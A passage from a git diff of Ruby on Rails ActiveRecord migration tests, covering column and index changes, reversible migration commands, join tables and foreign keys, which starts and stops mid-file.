+ assert_nil TestModel.new.contributor
+ end
+
+ def test_change_column_with_new_default
+ add_column "test_models", "administrator", :boolean, :default => true
+ assert TestModel.new.administrator?
+
+ change_column "test_models", "administrator", :boolean, :default => false
+ TestModel.reset_column_information
+ assert_not TestModel.new.administrator?
+ end
+
+ def test_change_column_with_custom_index_name
+ add_column "test_models", "category", :string
+ add_index :test_models, :category, name: 'test_models_categories_idx'
+
+ assert_equal ['test_models_categories_idx'], connection.indexes('test_models').map(&:name)
+ change_column "test_models", "category", :string, null: false, default: 'article'
+
+ assert_equal ['test_models_categories_idx'], connection.indexes('test_models').map(&:name)
+ end
+
+ def test_change_column_with_long_index_name
+ table_name_prefix = 'test_models_'
+ long_index_name = table_name_prefix + ('x' * (connection.allowed_index_name_length - table_name_prefix.length))
+ add_column "test_models", "category", :string
+ add_index :test_models, :category, name: long_index_name
+
+ change_column "test_models", "category", :string, null: false, default: 'article'
+
+ assert_equal [long_index_name], connection.indexes('test_models').map(&:name)
+ end
+
+ def test_change_column_default
+ add_column "test_models", "first_name", :string
+ connection.change_column_default "test_models", "first_name", "Tester"
+
+ assert_equal "Tester", TestModel.new.first_name
+ end
+
+ def test_change_column_default_to_null
+ add_column "test_models", "first_name", :string
+ connection.change_column_default "test_models", "first_name", nil
+ assert_nil TestModel.new.first_name
+ end
+
+ def test_remove_column_no_second_parameter_raises_exception
+ assert_raise(ArgumentError) { connection.remove_column("funny") }
+ end
+
+ def test_removing_and_renaming_column_preserves_custom_primary_key
+ connection.create_table "my_table", primary_key: "my_table_id", force: true do |t|
+ t.integer "col_one"
+ t.string "col_two", limit: 128, null: false
+ end
+
+ remove_column("my_table", "col_two")
+ rename_column("my_table", "col_one", "col_three")
+
+ assert_equal 'my_table_id', connection.primary_key('my_table')
+ ensure
+ connection.drop_table(:my_table) rescue nil
+ end
+
+ def test_column_with_index
+ connection.create_table "my_table", force: true do |t|
+ t.string :item_number, index: true
+ end
+
+ assert connection.index_exists?("my_table", :item_number, name: :index_my_table_on_item_number)
+ ensure
+ connection.drop_table(:my_table) rescue nil
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/migration/command_recorder_test.rb b/activerecord/test/cases/migration/command_recorder_test.rb
index f2213ee6aa..8cba777fe2 100644
--- a/activerecord/test/cases/migration/command_recorder_test.rb
+++ b/activerecord/test/cases/migration/command_recorder_test.rb
@@ -4,7 +4,8 @@ module ActiveRecord
class Migration
class CommandRecorderTest < ActiveRecord::TestCase
def setup
- @recorder = CommandRecorder.new
+ connection = ActiveRecord::Base.connection
+ @recorder = CommandRecorder.new(connection)
end
def test_respond_to_delegates
@@ -26,7 +27,7 @@ module ActiveRecord
}.new)
assert recorder.respond_to?(:create_table), 'respond_to? create_table'
recorder.send(:create_table, :horses)
- assert_equal [[:create_table, [:horses]]], recorder.commands
+ assert_equal [[:create_table, [:horses], nil]], recorder.commands
end
def test_unknown_commands_delegate
@@ -34,10 +35,15 @@ module ActiveRecord
assert_equal 'bar', recorder.foo
end
- def test_unknown_commands_raise_exception_if_they_cannot_delegate
- @recorder.record :execute, ['some sql']
+ def test_inverse_of_raise_exception_on_unknown_commands
assert_raises(ActiveRecord::IrreversibleMigration) do
- @recorder.inverse
+ @recorder.inverse_of :execute, ['some sql']
+ end
+ end
+
+ def test_irreversible_commands_raise_exception
+ assert_raises(ActiveRecord::IrreversibleMigration) do
+ @recorder.revert{ @recorder.execute 'some sql' }
end
end
@@ -46,121 +52,248 @@ module ActiveRecord
assert_equal 1, @recorder.commands.length
end
- def test_inverse
- @recorder.record :create_table, [:system_settings]
- assert_equal 1, @recorder.inverse.length
+ def test_inverted_commands_are_reversed
+ @recorder.revert do
+ @recorder.record :create_table, [:hello]
+ @recorder.record :create_table, [:world]
+ end
+ tables = @recorder.commands.map{|_cmd, args, _block| args}
+ assert_equal [[:world], [:hello]], tables
+ end
- @recorder.record :rename_table, [:old, :new]
- assert_equal 2, @recorder.inverse.length
+ def test_revert_order
+ block = Proc.new{|t| t.string :name }
+ @recorder.instance_eval do
+ create_table("apples", &block)
+ revert do
+ create_table("bananas", &block)
+ revert do
+ create_table("clementines", &block)
+ create_table("dates")
+ end
+ create_table("elderberries")
+ end
+ revert do
+ create_table("figs", &block)
+ create_table("grapes")
+ end
+ end
+ assert_equal [[:create_table, ["apples"], block], [:drop_table, ["elderberries"], nil],
+ [:create_table, ["clementines"], block], [:create_table, ["dates"], nil],
+ [:drop_table, ["bananas"], block], [:drop_table, ["grapes"], nil],
+ [:drop_table, ["figs"], block]], @recorder.commands
end
- def test_inverted_commands_are_reveresed
- @recorder.record :create_table, [:hello]
- @recorder.record :create_table, [:world]
- tables = @recorder.inverse.map(&:last)
- assert_equal [[:world], [:hello]], tables
+ def test_invert_change_table
+ @recorder.revert do
+ @recorder.change_table :fruits do |t|
+ t.string :name
+ t.rename :kind, :cultivar
+ end
+ end
+ assert_equal [
+ [:rename_column, [:fruits, :cultivar, :kind]],
+ [:remove_column, [:fruits, :name, :string, {}], nil],
+ ], @recorder.commands
+
+ assert_raises(ActiveRecord::IrreversibleMigration) do
+ @recorder.revert do
+ @recorder.change_table :fruits do |t|
+ t.remove :kind
+ end
+ end
+ end
end
def test_invert_create_table
- @recorder.record :create_table, [:system_settings]
- drop_table = @recorder.inverse.first
- assert_equal [:drop_table, [:system_settings]], drop_table
+ @recorder.revert do
+ @recorder.record :create_table, [:system_settings]
+ end
+ drop_table = @recorder.commands.first
+ assert_equal [:drop_table, [:system_settings], nil], drop_table
end
- def test_invert_create_table_with_options
- @recorder.record :create_table, [:people_reminders, {:id => false}]
- drop_table = @recorder.inverse.first
- assert_equal [:drop_table, [:people_reminders]], drop_table
+ def test_invert_create_table_with_options_and_block
+ block = Proc.new{}
+ drop_table = @recorder.inverse_of :create_table, [:people_reminders, id: false], &block
+ assert_equal [:drop_table, [:people_reminders, id: false], block], drop_table
+ end
+
+ def test_invert_drop_table
+ block = Proc.new{}
+ create_table = @recorder.inverse_of :drop_table, [:people_reminders, id: false], &block
+ assert_equal [:create_table, [:people_reminders, id: false], block], create_table
+ end
+
+ def test_invert_drop_table_without_a_block_nor_option
+ assert_raises(ActiveRecord::IrreversibleMigration) do
+ @recorder.inverse_of :drop_table, [:people_reminders]
+ end
end
def test_invert_create_join_table
- @recorder.record :create_join_table, [:musics, :artists]
- drop_table = @recorder.inverse.first
- assert_equal [:drop_table, [:artists_musics]], drop_table
+ drop_join_table = @recorder.inverse_of :create_join_table, [:musics, :artists]
+ assert_equal [:drop_join_table, [:musics, :artists], nil], drop_join_table
end
def test_invert_create_join_table_with_table_name
- @recorder.record :create_join_table, [:musics, :artists, {:table_name => :catalog}]
- drop_table = @recorder.inverse.first
- assert_equal [:drop_table, [:catalog]], drop_table
+ drop_join_table = @recorder.inverse_of :create_join_table, [:musics, :artists, table_name: :catalog]
+ assert_equal [:drop_join_table, [:musics, :artists, table_name: :catalog], nil], drop_join_table
+ end
+
+ def test_invert_drop_join_table
+ block = Proc.new{}
+ create_join_table = @recorder.inverse_of :drop_join_table, [:musics, :artists, table_name: :catalog], &block
+ assert_equal [:create_join_table, [:musics, :artists, table_name: :catalog], block], create_join_table
end
def test_invert_rename_table
- @recorder.record :rename_table, [:old, :new]
- rename = @recorder.inverse.first
+ rename = @recorder.inverse_of :rename_table, [:old, :new]
assert_equal [:rename_table, [:new, :old]], rename
end
def test_invert_add_column
- @recorder.record :add_column, [:table, :column, :type, {}]
- remove = @recorder.inverse.first
- assert_equal [:remove_column, [:table, :column]], remove
+ remove = @recorder.inverse_of :add_column, [:table, :column, :type, {}]
+ assert_equal [:remove_column, [:table, :column, :type, {}], nil], remove
+ end
+
+ def test_invert_change_column
+ assert_raises(ActiveRecord::IrreversibleMigration) do
+ @recorder.inverse_of :change_column, [:table, :column, :type, {}]
+ end
+ end
+
+ def test_invert_change_column_default
+ assert_raises(ActiveRecord::IrreversibleMigration) do
+ @recorder.inverse_of :change_column_default, [:table, :column, 'default_value']
+ end
+ end
+
+ def test_invert_change_column_null
+ add = @recorder.inverse_of :change_column_null, [:table, :column, true]
+ assert_equal [:change_column_null, [:table, :column, false]], add
+ end
+
+ def test_invert_remove_column
+ add = @recorder.inverse_of :remove_column, [:table, :column, :type, {}]
+ assert_equal [:add_column, [:table, :column, :type, {}], nil], add
+ end
+
+ def test_invert_remove_column_without_type
+ assert_raises(ActiveRecord::IrreversibleMigration) do
+ @recorder.inverse_of :remove_column, [:table, :column]
+ end
end
def test_invert_rename_column
- @recorder.record :rename_column, [:table, :old, :new]
- rename = @recorder.inverse.first
+ rename = @recorder.inverse_of :rename_column, [:table, :old, :new]
assert_equal [:rename_column, [:table, :new, :old]], rename
end
def test_invert_add_index
- @recorder.record :add_index, [:table, [:one, :two], {:options => true}]
- remove = @recorder.inverse.first
- assert_equal [:remove_index, [:table, {:column => [:one, :two]}]], remove
+ remove = @recorder.inverse_of :add_index, [:table, [:one, :two]]
+ assert_equal [:remove_index, [:table, {column: [:one, :two]}]], remove
end
def test_invert_add_index_with_name
- @recorder.record :add_index, [:table, [:one, :two], {:name => "new_index"}]
- remove = @recorder.inverse.first
- assert_equal [:remove_index, [:table, {:name => "new_index"}]], remove
+ remove = @recorder.inverse_of :add_index, [:table, [:one, :two], name: "new_index"]
+ assert_equal [:remove_index, [:table, {name: "new_index"}]], remove
end
def test_invert_add_index_with_no_options
- @recorder.record :add_index, [:table, [:one, :two]]
- remove = @recorder.inverse.first
- assert_equal [:remove_index, [:table, {:column => [:one, :two]}]], remove
+ remove = @recorder.inverse_of :add_index, [:table, [:one, :two]]
+ assert_equal [:remove_index, [:table, {column: [:one, :two]}]], remove
+ end
+
+ def test_invert_remove_index
+ add = @recorder.inverse_of :remove_index, [:table, {column: [:one, :two], options: true}]
+ assert_equal [:add_index, [:table, [:one, :two], options: true]], add
+ end
+
+ def test_invert_remove_index_with_name
+ add = @recorder.inverse_of :remove_index, [:table, {column: [:one, :two], name: "new_index"}]
+ assert_equal [:add_index, [:table, [:one, :two], name: "new_index"]], add
+ end
+
+ def test_invert_remove_index_with_no_special_options
+ add = @recorder.inverse_of :remove_index, [:table, {column: [:one, :two]}]
+ assert_equal [:add_index, [:table, [:one, :two], {}]], add
+ end
+
+ def test_invert_remove_index_with_no_column
+ assert_raises(ActiveRecord::IrreversibleMigration) do
+ @recorder.inverse_of :remove_index, [:table, name: "new_index"]
+ end
end
def test_invert_rename_index
- @recorder.record :rename_index, [:table, :old, :new]
- rename = @recorder.inverse.first
+ rename = @recorder.inverse_of :rename_index, [:table, :old, :new]
assert_equal [:rename_index, [:table, :new, :old]], rename
end
def test_invert_add_timestamps
- @recorder.record :add_timestamps, [:table]
- remove = @recorder.inverse.first
- assert_equal [:remove_timestamps, [:table]], remove
+ remove = @recorder.inverse_of :add_timestamps, [:table]
+ assert_equal [:remove_timestamps, [:table], nil], remove
end
def test_invert_remove_timestamps
- @recorder.record :remove_timestamps, [:table]
- add = @recorder.inverse.first
- assert_equal [:add_timestamps, [:table]], add
+ add = @recorder.inverse_of :remove_timestamps, [:table, { null: true }]
+ assert_equal [:add_timestamps, [:table, {null: true }], nil], add
end
def test_invert_add_reference
- @recorder.record :add_reference, [:table, :taggable, { polymorphic: true }]
- remove = @recorder.inverse.first
- assert_equal [:remove_reference, [:table, :taggable, { polymorphic: true }]], remove
+ remove = @recorder.inverse_of :add_reference, [:table, :taggable, { polymorphic: true }]
+ assert_equal [:remove_reference, [:table, :taggable, { polymorphic: true }], nil], remove
end
def test_invert_add_belongs_to_alias
- @recorder.record :add_belongs_to, [:table, :user]
- remove = @recorder.inverse.first
- assert_equal [:remove_reference, [:table, :user]], remove
+ remove = @recorder.inverse_of :add_belongs_to, [:table, :user]
+ assert_equal [:remove_reference, [:table, :user], nil], remove
end
def test_invert_remove_reference
- @recorder.record :remove_reference, [:table, :taggable, { polymorphic: true }]
- add = @recorder.inverse.first
- assert_equal [:add_reference, [:table, :taggable, { polymorphic: true }]], add
+ add = @recorder.inverse_of :remove_reference, [:table, :taggable, { polymorphic: true }]
+ assert_equal [:add_reference, [:table, :taggable, { polymorphic: true }], nil], add
end
def test_invert_remove_belongs_to_alias
- @recorder.record :remove_belongs_to, [:table, :user]
- add = @recorder.inverse.first
- assert_equal [:add_reference, [:table, :user]], add
+ add = @recorder.inverse_of :remove_belongs_to, [:table, :user]
+ assert_equal [:add_reference, [:table, :user], nil], add
+ end
+
+ def test_invert_enable_extension
+ disable = @recorder.inverse_of :enable_extension, ['uuid-ossp']
+ assert_equal [:disable_extension, ['uuid-ossp'], nil], disable
+ end
+
+ def test_invert_disable_extension
+ enable = @recorder.inverse_of :disable_extension, ['uuid-ossp']
+ assert_equal [:enable_extension, ['uuid-ossp'], nil], enable
+ end
+
+ def test_invert_add_foreign_key
+ enable = @recorder.inverse_of :add_foreign_key, [:dogs, :people]
+ assert_equal [:remove_foreign_key, [:dogs, :people]], enable
+ end
+
+ def test_invert_add_foreign_key_with_column
+ enable = @recorder.inverse_of :add_foreign_key, [:dogs, :people, column: "owner_id"]
+ assert_equal [:remove_foreign_key, [:dogs, column: "owner_id"]], enable
+ end
+
+ def test_invert_add_foreign_key_with_column_and_name
+ enable = @recorder.inverse_of :add_foreign_key, [:dogs, :people, column: "owner_id", name: "fk"]
+ assert_equal [:remove_foreign_key, [:dogs, name: "fk"]], enable
+ end
+
+ def test_remove_foreign_key_is_irreversible
+ assert_raises ActiveRecord::IrreversibleMigration do
+ @recorder.inverse_of :remove_foreign_key, [:dogs, column: "owner_id"]
+ end
+
+ assert_raises ActiveRecord::IrreversibleMigration do
+ @recorder.inverse_of :remove_foreign_key, [:dogs, name: "fk"]
+ end
end
end
end
diff --git a/activerecord/test/cases/migration/create_join_table_test.rb b/activerecord/test/cases/migration/create_join_table_test.rb
index f262bbaad7..bea9d6b2c9 100644
--- a/activerecord/test/cases/migration/create_join_table_test.rb
+++ b/activerecord/test/cases/migration/create_join_table_test.rb
@@ -10,8 +10,7 @@ module ActiveRecord
@connection = ActiveRecord::Base.connection
end
- def teardown
- super
+ teardown do
%w(artists_musics musics_videos catalog).each do |table_name|
connection.drop_table table_name if connection.tables.include?(table_name)
end
@@ -78,6 +77,72 @@ module ActiveRecord
assert_equal [%w(artist_id music_id)], connection.indexes(:artists_musics).map(&:columns)
end
+
+ def test_drop_join_table
+ connection.create_join_table :artists, :musics
+ connection.drop_join_table :artists, :musics
+
+ assert !connection.tables.include?('artists_musics')
+ end
+
+ def test_drop_join_table_with_strings
+ connection.create_join_table :artists, :musics
+ connection.drop_join_table 'artists', 'musics'
+
+ assert !connection.tables.include?('artists_musics')
+ end
+
+ def test_drop_join_table_with_the_proper_order
+ connection.create_join_table :videos, :musics
+ connection.drop_join_table :videos, :musics
+
+ assert !connection.tables.include?('musics_videos')
+ end
+
+ def test_drop_join_table_with_the_table_name
+ connection.create_join_table :artists, :musics, table_name: :catalog
+ connection.drop_join_table :artists, :musics, table_name: :catalog
+
+ assert !connection.tables.include?('catalog')
+ end
+
+ def test_drop_join_table_with_the_table_name_as_string
+ connection.create_join_table :artists, :musics, table_name: 'catalog'
+ connection.drop_join_table :artists, :musics, table_name: 'catalog'
+
+ assert !connection.tables.include?('catalog')
+ end
+
+ def test_drop_join_table_with_column_options
+ connection.create_join_table :artists, :musics, column_options: {null: true}
+ connection.drop_join_table :artists, :musics, column_options: {null: true}
+
+ assert !connection.tables.include?('artists_musics')
+ end
+
+ def test_create_and_drop_join_table_with_common_prefix
+ with_table_cleanup do
+ connection.create_join_table 'audio_artists', 'audio_musics'
+ assert_includes connection.tables, 'audio_artists_musics'
+
+ connection.drop_join_table 'audio_artists', 'audio_musics'
+ assert !connection.tables.include?('audio_artists_musics'), "Should have dropped join table, but didn't"
+ end
+ end
+
+ private
+
+ def with_table_cleanup
+ tables_before = connection.tables
+
+ yield
+ ensure
+ tables_after = connection.tables - tables_before
+
+ tables_after.each do |table|
+ connection.execute "DROP TABLE #{table}"
+ end
+ end
end
end
end
diff --git a/activerecord/test/cases/migration/foreign_key_test.rb b/activerecord/test/cases/migration/foreign_key_test.rb
new file mode 100644
index 0000000000..51e21528c2
--- /dev/null
+++ b/activerecord/test/cases/migration/foreign_key_test.rb
@@ -0,0 +1,250 @@
+require 'cases/helper'
+require 'support/ddl_helper'
+require 'support/schema_dumping_helper'
+
+if ActiveRecord::Base.connection.supports_foreign_keys?
+module ActiveRecord
+ class Migration
+ class ForeignKeyTest < ActiveRecord::TestCase
+ include DdlHelper
+ include SchemaDumpingHelper
+
+ class Rocket < ActiveRecord::Base
+ end
+
+ class Astronaut < ActiveRecord::Base
+ end
+
+ setup do
+ @connection = ActiveRecord::Base.connection
+ @connection.create_table "rockets", force: true do |t|
+ t.string :name
+ end
+
+ @connection.create_table "astronauts", force: true do |t|
+ t.string :name
+ t.references :rocket
+ end
+ end
+
+ teardown do
+ if defined?(@connection)
+ @connection.drop_table "astronauts" if @connection.table_exists? 'astronauts'
+ @connection.drop_table "rockets" if @connection.table_exists? 'rockets'
+ end
+ end
+
+ def test_foreign_keys
+ foreign_keys = @connection.foreign_keys("fk_test_has_fk")
+ assert_equal 1, foreign_keys.size
+
+ fk = foreign_keys.first
+ assert_equal "fk_test_has_fk", fk.from_table
+ assert_equal "fk_test_has_pk", fk.to_table
+ assert_equal "fk_id", fk.column
+ assert_equal "pk_id", fk.primary_key
+ assert_equal "fk_name", fk.name
+ end
+
+ def test_add_foreign_key_inferes_column
+ @connection.add_foreign_key :astronauts, :rockets
+
+ foreign_keys = @connection.foreign_keys("astronauts")
+ assert_equal 1, foreign_keys.size
+
+ fk = foreign_keys.first
+ assert_equal "astronauts", fk.from_table
+ assert_equal "rockets", fk.to_table
+ assert_equal "rocket_id", fk.column
+ assert_equal "id", fk.primary_key
+ assert_match(/^fk_rails_.{10}$/, fk.name)
+ end
+
+ def test_add_foreign_key_with_column
+ @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id"
+
+ foreign_keys = @connection.foreign_keys("astronauts")
+ assert_equal 1, foreign_keys.size
+
+ fk = foreign_keys.first
+ assert_equal "astronauts", fk.from_table
+ assert_equal "rockets", fk.to_table
+ assert_equal "rocket_id", fk.column
+ assert_equal "id", fk.primary_key
+ assert_match(/^fk_rails_.{10}$/, fk.name)
+ end
+
+ def test_add_foreign_key_with_non_standard_primary_key
+ with_example_table @connection, "space_shuttles", "pk integer PRIMARY KEY" do
+ @connection.add_foreign_key(:astronauts, :space_shuttles,
+ column: "rocket_id", primary_key: "pk", name: "custom_pk")
+
+ foreign_keys = @connection.foreign_keys("astronauts")
+ assert_equal 1, foreign_keys.size
+
+ fk = foreign_keys.first
+ assert_equal "astronauts", fk.from_table
+ assert_equal "space_shuttles", fk.to_table
+ assert_equal "pk", fk.primary_key
+
+ @connection.remove_foreign_key :astronauts, name: "custom_pk"
+ end
+ end
+
+ def test_add_on_delete_restrict_foreign_key
+ @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", on_delete: :restrict
+
+ foreign_keys = @connection.foreign_keys("astronauts")
+ assert_equal 1, foreign_keys.size
+
+ fk = foreign_keys.first
+ if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+ # ON DELETE RESTRICT is the default on MySQL
+ assert_equal nil, fk.on_delete
+ else
+ assert_equal :restrict, fk.on_delete
+ end
+ end
+
+ def test_add_on_delete_cascade_foreign_key
+ @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", on_delete: :cascade
+
+ foreign_keys = @connection.foreign_keys("astronauts")
+ assert_equal 1, foreign_keys.size
+
+ fk = foreign_keys.first
+ assert_equal :cascade, fk.on_delete
+ end
+
+ def test_add_on_delete_nullify_foreign_key
+ @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", on_delete: :nullify
+
+ foreign_keys = @connection.foreign_keys("astronauts")
+ assert_equal 1, foreign_keys.size
+
+ fk = foreign_keys.first
+ assert_equal :nullify, fk.on_delete
+ end
+
+ def test_on_update_and_on_delete_raises_with_invalid_values
+ assert_raises ArgumentError do
+ @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", on_delete: :invalid
+ end
+
+ assert_raises ArgumentError do
+ @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", on_update: :invalid
+ end
+ end
+
+ def test_add_foreign_key_with_on_update
+ @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", on_update: :nullify
+
+ foreign_keys = @connection.foreign_keys("astronauts")
+ assert_equal 1, foreign_keys.size
+
+ fk = foreign_keys.first
+ assert_equal :nullify, fk.on_update
+ end
+
+ def test_remove_foreign_key_inferes_column
+ @connection.add_foreign_key :astronauts, :rockets
+
+ assert_equal 1, @connection.foreign_keys("astronauts").size
+ @connection.remove_foreign_key :astronauts, :rockets
+ assert_equal [], @connection.foreign_keys("astronauts")
+ end
+
+ def test_remove_foreign_key_by_column
+ @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id"
+
+ assert_equal 1, @connection.foreign_keys("astronauts").size
+ @connection.remove_foreign_key :astronauts, column: "rocket_id"
+ assert_equal [], @connection.foreign_keys("astronauts")
+ end
+
+ def test_remove_foreign_key_by_symbol_column
+ @connection.add_foreign_key :astronauts, :rockets, column: :rocket_id
+
+ assert_equal 1, @connection.foreign_keys("astronauts").size
+ @connection.remove_foreign_key :astronauts, column: :rocket_id
+ assert_equal [], @connection.foreign_keys("astronauts")
+ end
+
+ def test_remove_foreign_key_by_name
+ @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", name: "fancy_named_fk"
+
+ assert_equal 1, @connection.foreign_keys("astronauts").size
+ @connection.remove_foreign_key :astronauts, name: "fancy_named_fk"
+ assert_equal [], @connection.foreign_keys("astronauts")
+ end
+
+ def test_remove_foreign_non_existing_foreign_key_raises
+ assert_raises ArgumentError do
+ @connection.remove_foreign_key :astronauts, :rockets
+ end
+ end
+
+ def test_schema_dumping
+ @connection.add_foreign_key :astronauts, :rockets
+ output = dump_table_schema "astronauts"
+ assert_match %r{\s+add_foreign_key "astronauts", "rockets"$}, output
+ end
+
+ def test_schema_dumping_with_options
+ output = dump_table_schema "fk_test_has_fk"
+ assert_match %r{\s+add_foreign_key "fk_test_has_fk", "fk_test_has_pk", column: "fk_id", primary_key: "pk_id", name: "fk_name"$}, output
+ end
+
+ def test_schema_dumping_on_delete_and_on_update_options
+ @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", on_delete: :nullify, on_update: :cascade
+
+ output = dump_table_schema "astronauts"
+ assert_match %r{\s+add_foreign_key "astronauts",.+on_update: :cascade,.+on_delete: :nullify$}, output
+ end
+
+ class CreateCitiesAndHousesMigration < ActiveRecord::Migration
+ def change
+ create_table("cities") { |t| }
+
+ create_table("houses") do |t|
+ t.column :city_id, :integer
+ end
+ add_foreign_key :houses, :cities, column: "city_id"
+ end
+ end
+
+ def test_add_foreign_key_is_reversible
+ migration = CreateCitiesAndHousesMigration.new
+ silence_stream($stdout) { migration.migrate(:up) }
+ assert_equal 1, @connection.foreign_keys("houses").size
+ ensure
+ silence_stream($stdout) { migration.migrate(:down) }
+ end
+ end
+ end
+end
+else
+module ActiveRecord
+ class Migration
+ class NoForeignKeySupportTest < ActiveRecord::TestCase
+ setup do
+ @connection = ActiveRecord::Base.connection
+ end
+
+ def test_add_foreign_key_should_be_noop
+ @connection.add_foreign_key :clubs, :categories
+ end
+
+ def test_remove_foreign_key_should_be_noop
+ @connection.remove_foreign_key :clubs, :categories
+ end
+
+ def test_foreign_keys_should_raise_not_implemented
+ assert_raises NotImplementedError do
+ @connection.foreign_keys("clubs")
+ end
+ end
+ end
+ end
+end
+end
diff --git a/activerecord/test/cases/migration/helper.rb b/activerecord/test/cases/migration/helper.rb
index e28feedcf9..5bc0898f33 100644
--- a/activerecord/test/cases/migration/helper.rb
+++ b/activerecord/test/cases/migration/helper.rb
@@ -5,10 +5,6 @@ module ActiveRecord
class << self; attr_accessor :message_count; end
self.message_count = 0
- def puts(text="")
- ActiveRecord::Migration.message_count += 1
- end
-
module TestHelper
attr_reader :connection, :table_name
@@ -22,7 +18,7 @@ module ActiveRecord
super
@connection = ActiveRecord::Base.connection
connection.create_table :test_models do |t|
- t.timestamps
+ t.timestamps null: true
end
TestModel.reset_column_information
diff --git a/activerecord/test/cases/migration/index_test.rb b/activerecord/test/cases/migration/index_test.rb
index 0787414d8f..b23b9a679f 100644
--- a/activerecord/test/cases/migration/index_test.rb
+++ b/activerecord/test/cases/migration/index_test.rb
@@ -21,27 +21,36 @@ module ActiveRecord
end
end
- def teardown
- super
+ teardown do
connection.drop_table :testings rescue nil
ActiveRecord::Base.primary_key_prefix_type = nil
end
def test_rename_index
- skip "not supported on openbase" if current_adapter?(:OpenBaseAdapter)
-
# keep the names short to make Oracle and similar behave
connection.add_index(table_name, [:foo], :name => 'old_idx')
connection.rename_index(table_name, 'old_idx', 'new_idx')
# if the adapter doesn't support the indexes call, pick defaults that let the test pass
- refute connection.index_name_exists?(table_name, 'old_idx', false)
+ assert_not connection.index_name_exists?(table_name, 'old_idx', false)
assert connection.index_name_exists?(table_name, 'new_idx', true)
end
- def test_double_add_index
- skip "not supported on openbase" if current_adapter?(:OpenBaseAdapter)
+ def test_rename_index_too_long
+ too_long_index_name = good_index_name + 'x'
+ # keep the names short to make Oracle and similar behave
+ connection.add_index(table_name, [:foo], :name => 'old_idx')
+ e = assert_raises(ArgumentError) {
+ connection.rename_index(table_name, 'old_idx', too_long_index_name)
+ }
+ assert_match(/too long; the limit is #{connection.allowed_index_name_length} characters/, e.message)
+
+ # if the adapter doesn't support the indexes call, pick defaults that let the test pass
+ assert connection.index_name_exists?(table_name, 'old_idx', false)
+ end
+
+ def test_double_add_index
connection.add_index(table_name, [:foo], :name => 'some_idx')
assert_raises(ArgumentError) {
connection.add_index(table_name, [:foo], :name => 'some_idx')
@@ -49,25 +58,34 @@ module ActiveRecord
end
def test_remove_nonexistent_index
- skip "not supported on openbase" if current_adapter?(:OpenBaseAdapter)
-
- # we do this by name, so OpenBase is a wash as noted above
assert_raise(ArgumentError) { connection.remove_index(table_name, "no_such_index") }
end
- def test_add_index_name_length_limit
- good_index_name = 'x' * connection.index_name_length
+ def test_add_index_works_with_long_index_names
+ connection.add_index(table_name, "foo", name: good_index_name)
+
+ assert connection.index_name_exists?(table_name, good_index_name, false)
+ connection.remove_index(table_name, name: good_index_name)
+ end
+
+ def test_add_index_does_not_accept_too_long_index_names
too_long_index_name = good_index_name + 'x'
- assert_raises(ArgumentError) {
- connection.add_index(table_name, "foo", :name => too_long_index_name)
+ e = assert_raises(ArgumentError) {
+ connection.add_index(table_name, "foo", name: too_long_index_name)
}
+ assert_match(/too long; the limit is #{connection.allowed_index_name_length} characters/, e.message)
- refute connection.index_name_exists?(table_name, too_long_index_name, false)
+ assert_not connection.index_name_exists?(table_name, too_long_index_name, false)
connection.add_index(table_name, "foo", :name => good_index_name)
+ end
+
+ def test_internal_index_with_name_matching_database_limit
+ good_index_name = 'x' * connection.index_name_length
+ connection.add_index(table_name, "foo", name: good_index_name, internal: true)
assert connection.index_name_exists?(table_name, good_index_name, false)
- connection.remove_index(table_name, :name => good_index_name)
+ connection.remove_index(table_name, name: good_index_name)
end
def test_index_symbol_names
@@ -75,7 +93,7 @@ module ActiveRecord
assert connection.index_exists?(table_name, :foo, :name => :symbol_index_name)
connection.remove_index table_name, :name => :symbol_index_name
- refute connection.index_exists?(table_name, :foo, :name => :symbol_index_name)
+ assert_not connection.index_exists?(table_name, :foo, :name => :symbol_index_name)
end
def test_index_exists
@@ -91,22 +109,18 @@ module ActiveRecord
assert connection.index_exists?(:testings, [:foo, :bar])
end
+ def test_index_exists_with_custom_name_checks_columns
+ connection.add_index :testings, [:foo, :bar], name: "my_index"
+ assert connection.index_exists?(:testings, [:foo, :bar], name: "my_index")
+ assert_not connection.index_exists?(:testings, [:foo], name: "my_index")
+ end
+
def test_valid_index_options
assert_raise ArgumentError do
connection.add_index :testings, :foo, unqiue: true
end
end
- def test_deprecated_type_argument
- message = "Passing a string as third argument of `add_index` is deprecated and will" +
- " be removed in Rails 4.1." +
- " Use add_index(:testings, [:foo, :bar], unique: true) instead"
-
- assert_deprecated message do
- connection.add_index :testings, [:foo, :bar], "UNIQUE"
- end
- end
-
def test_unique_index_exists
connection.add_index :testings, :foo, :unique => true
@@ -129,50 +143,37 @@ module ActiveRecord
connection.add_index("testings", "last_name")
connection.remove_index("testings", "last_name")
- # Orcl nds shrt indx nms. Sybs 2.
- # OpenBase does not have named indexes. You must specify a single column name
- unless current_adapter?(:SybaseAdapter, :OpenBaseAdapter)
+ connection.add_index("testings", ["last_name", "first_name"])
+ connection.remove_index("testings", :column => ["last_name", "first_name"])
+
+ # Oracle adapter cannot have specified index name larger than 30 characters
+ # Oracle adapter is shortening index name when just column list is given
+ unless current_adapter?(:OracleAdapter)
connection.add_index("testings", ["last_name", "first_name"])
- connection.remove_index("testings", :column => ["last_name", "first_name"])
-
- # Oracle adapter cannot have specified index name larger than 30 characters
- # Oracle adapter is shortening index name when just column list is given
- unless current_adapter?(:OracleAdapter)
- connection.add_index("testings", ["last_name", "first_name"])
- connection.remove_index("testings", :name => :index_testings_on_last_name_and_first_name)
- connection.add_index("testings", ["last_name", "first_name"])
- connection.remove_index("testings", "last_name_and_first_name")
- end
+ connection.remove_index("testings", :name => :index_testings_on_last_name_and_first_name)
connection.add_index("testings", ["last_name", "first_name"])
- connection.remove_index("testings", ["last_name", "first_name"])
+ connection.remove_index("testings", "last_name_and_first_name")
+ end
+ connection.add_index("testings", ["last_name", "first_name"])
+ connection.remove_index("testings", ["last_name", "first_name"])
- connection.add_index("testings", ["last_name"], :length => 10)
- connection.remove_index("testings", "last_name")
